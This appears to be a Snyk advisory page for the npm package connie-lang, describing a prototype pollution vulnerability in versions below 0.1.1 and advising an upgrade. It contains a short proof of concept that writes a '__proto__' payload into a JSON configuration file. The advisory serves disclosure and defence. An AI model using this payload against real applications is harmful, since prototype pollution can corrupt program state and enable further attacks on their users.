connie-lang@0.0.2 vulnerabilities

Configuration language for connie

  • latest version

    0.1.1

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    4 years ago

  • Direct Vulnerabilities

    Known vulnerabilities in the connie-lang package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    connie-lang is a the configuration language for connie.

    Affected versions of this package are vulnerable to Prototype Pollution in the configuration language library used by connie.

    POC

    const connie = require('connie');
    const fs = require('fs');
    fs.writeFileSync('test.json', `{"__proto__": {"polluted": true}}`);
    connie('dir', '.').read().then(x => {
        console.log(polluted);
    });
    

    How to fix Prototype Pollution?

    Upgrade connie-lang to version 0.1.1 or higher.

    <0.1.1